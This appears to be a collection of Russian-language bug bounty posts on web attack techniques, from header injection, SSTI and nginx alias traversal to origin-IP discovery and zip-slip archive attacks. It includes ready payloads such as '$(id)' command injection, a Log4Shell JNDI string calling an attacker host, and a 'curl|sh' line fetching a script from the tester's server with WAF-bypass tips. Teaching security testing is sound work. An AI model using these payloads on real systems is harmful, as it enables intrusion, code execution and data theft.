🤔 Нашли слишком простую багу? Подумайте шире. Reflected XSS + слабая логика = полный захват аккаунта.

🖼️ Делегирование событий в JavaScript

Одна из интересных техник, на которую стоит обратить внимание при поиске багов в JS-коде — это делегирование событий. Вместо того чтобы вешать обработчик на каждый элемент, его вешают на document и обрабатывают клики через event.target.

🚨 Ключевой момент: такие обработчики работают даже для новых элементов, добавленных позже, например, через HTML-инъекцию.

Если вы можете внедрить элемент:

<a class="btn" href="https://evil.com">Click me</a>

и приложение уже слушает .btn на document — ваш элемент тоже будет обработан, как «родной».

💥 Это может привести к:

▪️Переходу по ссылке.
▪️Отправке запроса.
▪️Запуску JS-функции.

🔍 Ищите такие обработчики, проверяйте селекторы и пробуйте инжектить элементы, которые их триггерят.

💨 X-Correlation Injection: когда X-Request-ID становится оружием

HTTP-заголовки вроде X-Request-ID, X-Correlation-ID или x-trace-id нужны для трассировки запросов, но часто попадают в CI/CD, логи, мониторинг и даже в shell-команды. А значит — расширяют поверхность атаки.

🔍 Как искать

▪️Ищите заголовки с id в ответе (x-transaction-id, x-corellation-id, access-control-*).

▪️Проверяйте, отражается ли значение вашего заголовка в ответе — это может быть индикатором уязвимости.

▪️Фаззинг: вставляйте случайные ASCII-символы и смотрите на ошибки/аномалии (500, странное поведение).

x-request-id: ' " % & > [ $

💥 Примеры атак

🧵 Header Injection
x-request-id: 1%0d%0ax-account:456 → внедрение нового заголовка

☕️ Java header split
x-request-id: 1%c4%8d%c4%8anew-header: f00 → \u010d может стать \n → новый заголовок

💻 Command Injection
x-request-id: $(id) → прямое выполнение в shell-контексте

🧨 Log4Shell
x-request-id: ${jndi:rmi://x${sys:java.version}.attacker/a} — да, оно до сих пор встречается 😳

🧬 JSON Injection
x-request-id: 1"}. "payload":{"account":"456","foo":" → если заголовок попал в JSON — можно ломать структуру

🕵️‍♂️ Оптимизация OOB/Blind RCE

При выборе пэйлода для OOB/Blind-атаки важно учитывать, что он может попасть в разные контексты. Поэтому — минимум спецсимволов, чтобы не сломать формат. Что важно учитывать:

▪️Сбор данных после триггера.

▪️Байпас WAF: ${IFS} для пробелов в shell могут блочить, но $IFS — нет.

▪️Избегайте пробелов вообще — они могут "сломать" пэйлоад в разных контекстах.

▪️Используйте уникальный пэйлоад, чтобы отслеживать факты сработки (своего рода request-id).

▪️Если пэйлоад сработал и, например, вызвал команду curl на целевом сервере — это значит, что curl’у можно отдать bash-скрипт со своего сервера.

▪️Оповещение о событиях через Discord/Slack/Telegram.

Пример из практики:

'`curl$IFS@mydomain|sh`'$(curl$IFS@mydomain|sh)

😎 Поиск SSTI в лайт режиме

Tplmap + GAU = SSTI на автопилоте. Просто дай ссылку — он сам найдёт, где шаблон не закрыли.

🤌 Что делаем:

➡️gau example.com — собираем эндпоинты
➡️tplmap.py -u {url} — проверяем на SSTI

На примере tplmap нашёл уязвимость в _transaction_id, определил движок Jinja2 и успешно заинжектился через {{*}}. Контекст — текст, техника — render, ОС — Linux. Всё по красоте.

Инструмент умеет находить и эксплуатировать SSTI в популярных шаблонизаторах — вплоть до доступа к файловой системе и выполнению команд на сервере.

⚠️ Проект уже не поддерживается, но логика и подход по-прежнему актуальны. Отличная отправная точка, если хочешь собрать свой инструмент для автоматизации SSTI.

🏹 Распространенные ошибки в reverse-прокси: алиас со слэшом в конце

Reverse-прокси — серверы поверх веб-приложений, которые маршрутизируют трафик, управляют заголовками и т. д.

Файл /etc/nginx/nginx.conf содержит глобальные настройки и строку для подключения всех конфигов из /etc/nginx/conf.d/.

http {
    ...
    include /etc/nginx/conf.d/*.conf;
}

Эти файлы находятся в контексте http {}, поэтому их не нужно открывать заново. Часто здесь добавляют дополнительные опции для контекста http, а также определения server {} для каждого приложения.

Одна из распространенных ошибок, которая может привести к уязвимости, — алиас со слешом в конце. Это происходит, когда выполняются два условия:

✅В location отсутствует слэш в конце
✅Директива alias или proxy_pass содержит слэш в конце

☝️ Пример выше показывает эту багу дважды. Проблема в том, что location /static будет соответствовать любому пути, начинающемуся с /static, включая /staticANYTHING или /static../anything.

После этого Nginx удаляет этот префикс и продолжает с оставшимся путем. Теперь это может быть ../anything, и при добавлении к static/ или v1/ может привести к переходу на один уровень выше:

GET /static../index.php HTTP/1.1

В итоге получаем путь /app/static/../index.php, который может раскрыть чувствительные исходники в /app/index.php.

💡 Та же идея с proxy_pass — его можно использовать для доступа к непредназначенной директории на бэкенде, используемой для отладки, других версий или даже другого приложения.

🔓 Один из самых простых кейсов при поиске багов в API… который многие почему-то игнорируют

Если ты видишь в ответе от сервера значение с именем id — не проходи мимо. Попробуй найти, где ещё этот id используется в других запросах.

💡 Такие эндпоинты часто уязвимы к проблемам контроля доступа:

▪️ IDOR (Insecure Direct Object Reference),
▪️ BOLA (Broken Object Level Authorization),
▪️ или Function Level Access Control.

⁉️ Если не знаешь, с чего начать анализ API — начни с этого. Во многих системах проверяют сам факт наличия id, но не проверяют, чей он и можно ли тебе его вообще видеть.

🚀 Lightyear: в слепую, но с прицелом

PHP filter chains — крутые векторы атак, которые позволяют реализовывать разные типы эксплойтов: маскировку файлов, манипуляции с содержимым, побайтовую выгрузку файлов через memory exhaustion и многое другое.

Помните старую добрую тулзу php_filter_chains_oracle_exploit? Да, ту самую, что помогала выцеживать PHP-файлы по байтам через blind file read + memory exhaustion.

Так вот. Пора её отпустить. Есть Lightyear, и это прям next level в эксплуатации примитивов слепого чтения файлов в PHP.

🤕 Что починили

🟥Payload теперь миниатюрный, в GET влезает без стыда
🟥Байт угадывается не по звёздам, а через бинарный поиск
🟥Нет memory exhaustion → нет подвисаний, нет «простите, сервер устал»
🟥И главное — никаких PHP warning'ов, от которых современные фреймворки начинали истерить

🔥 Результат

Файлы дампятся быстрее, чище и больше по размеру. Вроде бы та же цепочка фильтров, но будто на стероидах.

❓ Где все API-эндпоинты? 6 советов для улучшения разведки API

API-разведка — это искусство, особенно когда работаешь с RESTful или GraphQL API, где интроспекция ограничена или отключена. Без документации можно запутаться, но на помощь приходит разведка.

💡 Вот 6 простых, но проверенных кейсов, которые помогут тебе найти больше API-эндпоинтов:

1️⃣ Используй кастомные словари

Многие API используют уникальные структуры и эндпоинты. Стандартные словари не всегда помогут. Используй специализированные инструменты вроде ffuf для брутфорса, а для более глубокого анализа отправляй рабочие эндпоинты в Burp.

2️⃣ Исследуй мобильные приложения (iOS, Android)

Мобильные приложения часто используют API, которые могут быть недоступны в веб-версии.

3️⃣ Проверяй каждый параметр в ответах API

Параметры в ответах могут скрывать дополнительные данные или эндпоинты. Пробуй манипулировать этими параметрами, чтобы выявить скрытые фичи или эндпоинты.

4️⃣ Попробуй старые версии API

Иногда старые версии API остаются доступными для обратной совместимости. Если API имеет версионность, попробуй обратиться к предыдущим версиям, чтобы найти дополнительные возможности.

5️⃣ Используй не только автоматизацию: внимательно изучай функционал

Не полагайся только на инструменты автоматизации. Часто решение лежит во внимании к деталям: попробуй нажать все кнопки, изучить доступные фичи приложения и элементы интерфейса.

6️⃣ Документация — твой друг

Если документация есть, начни с неё (Swagger, Postman, GraphQL-схему и другие). Внимательно проанализируй все эндпоинты, запросы и параметры. Не ограничивайся только описанным функционалом — проверь все возможные значения параметров и тестируй нестандартные запросы. Часто документация может быть неполной.

🎯 Как найти реальный IP, скрытого за CDN

Content Delivery Network — штука нужная и полезная. Но кроме ускорения загрузки и уменьшения нагрузки, она даёт ещё один жирный плюс — скрывает реальный IP-адрес сервера.

❓ Чтобы что?

▪️ Ускорение загрузки сайта
▪️ Улучшение UX
▪️ Снижение нагрузки на основной сервер
▪️ Повышение надежности и отказоустойчивости
▪️ Защита от DDoS-атак

💡 Зачем багхантеру знать реальный IP?

▪️ Сканирование открытых портов и сервисов
▪️ Тестирование уязвимостей, которые не проходят через прокси
▪️ Обход WAF и так далее

🧠 Боевой чек-лист:

✅ Дергать исторические DNS-записи (SecurityTrails, DNSDumpster)

✅ Копаться в SSL-сертификатах на crt.sh, Censys, Shodan

✅ Искать хосты с идентичными favicon-хэшами

✅ Анализировать заголовки email-писем на наличие исходных IP (самый простой способ отправить себе письмо — форма обратной связи)

✅ Брутить/искать поддомены/vhost’ы, т. к. рядом может быть целевой хост

✅ Глубокий вдох, погрузиться в HTML-комменты и JS-файлы — там бывает всякое… даже захардкоженный IP 🙃

✅ Использовать CF-Hero для автоматизации процесса. Он собирает информацию из множества источников с помощью разных методов, включая описанные выше.


💬 Какие способы еще знаете? Ждем в комментариях 👇

😈 Встроенные словари Burp Suite Pro

Burp Suite Pro поставляется с ~50 предустановленными словарями, которые можно использовать всего в два клика. Они поддерживают различные типы пэйлоада, включая Simple list, Character substitution, Case modification, Illegal Unicode, — всё это важно для комплексного тестирования.

Методологию создания кастомных словарей мы разбирали ранее. Встроенные тоже надо использовать с умом.

Intruder > Configure predefined payload lists

💡 Работай с плейсхолдерами

Некоторые из словарей содержат плейсхолдеры, но стандарты именования могут отличаться (например, {FILE} vs {KNOWNFILE}, {domain} vs <yourservername>).

Используй правила обработки, чтобы заменить плейсхолдеры на реальные значения:

{base} —> payload position
{domain} —> collaborator interaction id
Match/replace (для {FILE}, ‹youremail>, ...)

🔥 Встроенные и настраиваемые словари Burp Suite + правильные правила обработки сделают стратегию фаззинга более эффективной и помогут избежать потери времени на создание повторяющегося пэйлоада.

🤖 Гибридный подход к разведке и поиску багов

Традиционные инструменты разведки — это хорошо, но что если комбинировать их возможности с LLM? Вайбкодингхакинг, получается.

Вот как можно объединить мощь LLM с традиционными методами обработки естественного языка:

✅ Получаем все поддомены и скрейпим их контент

✅ Используем NLTK для токенизации, лемматизации и фильтрации релевантных терминов

✅ Удаляем стоп-слова, применяем фильтры по длине и ранжируем по частоте

✅ Комбинируем извлеченные ключевые слова с LLM для обогащения

💬 Уже внедрили LLM в пайплайн разведки или нейронка уже хантит за вас?

📦 Archive Alchemist: уязвимости, основанные на архивах

Одно из главных отличий между успешными и не очень успешными багхантерами заключается в том, что последние не видят закономерности в приложении.

Пример: ты находишь багу, а затем начинаешь размышлять о ней и замечать закономерности в разработке этого конкретного приложения. Суть в том, что выбранный стиль разработки может привести к другим багам.

Mathias Karlsson представил инструмент Archive Alchemist, чтобы автоматизировать работу, связанную с уязвимостями архивов. Он возник после частых встреч с ошибками в архивах, которые требовали создания кастомных архивов и глубокого погружения в документацию.

💡 Три основных вектора атак:

▪️ Path Traversal (классический zip slip), позволяющий извлекать файлы за пределы целевых директорий с помощью путей вроде ../;
▪️ Link-Based Overwrites, где символические или жесткие ссылки могут привести к размещению файлов за пределами путей извлечения, что может привести к RCE;
▪️ Parser Differential Bugs, когда различия в парсерах позволяют обходить проверки безопасности.

Archive Alchemist автоматизирует и упростит эксплуатацию основных уязвимостей 👇

🤔 Несоответствия имен файлов в ZIP

Различия в Central Directory Header, Local File Header и Unicode Path создают возможности для атак. Проверка может использовать Central Directory Header, показывающий file.json, в то время как извлечение полагается на поле Unicode Path с содержимым ../../../../etc/passwd.

Дополнительные векторы атак включают проблемы с UTF-16, несоответствия CRC и ошибки обработки NULL-байтов, а также скрытие слэшей в многобайтовых последовательностях.

🏃 Усечение длины пути

В Linux максимальная длина пути — 4096 символов. При превышении этого лимита ошибки могут быть проигнорированы, что позволяет создавать архивы с длинными фальшивыми путями, оставляющими вредоносные файлы.

Эту технику можно использовать для утечки информации, постепенно раскрывая структуру директорий сервера.

🤕 Фингерпринт системы

Загрузка файлов с именами CON, NUL или <> помогает выявить Windows-системы. Также можно определить операционную систему по длине пути: 4096 символов — это Linux, 260 — Windows.

Тестирование симлинков в свою очередь помогает определить поддержку симлинков системой и проверить их на чувствительные пути.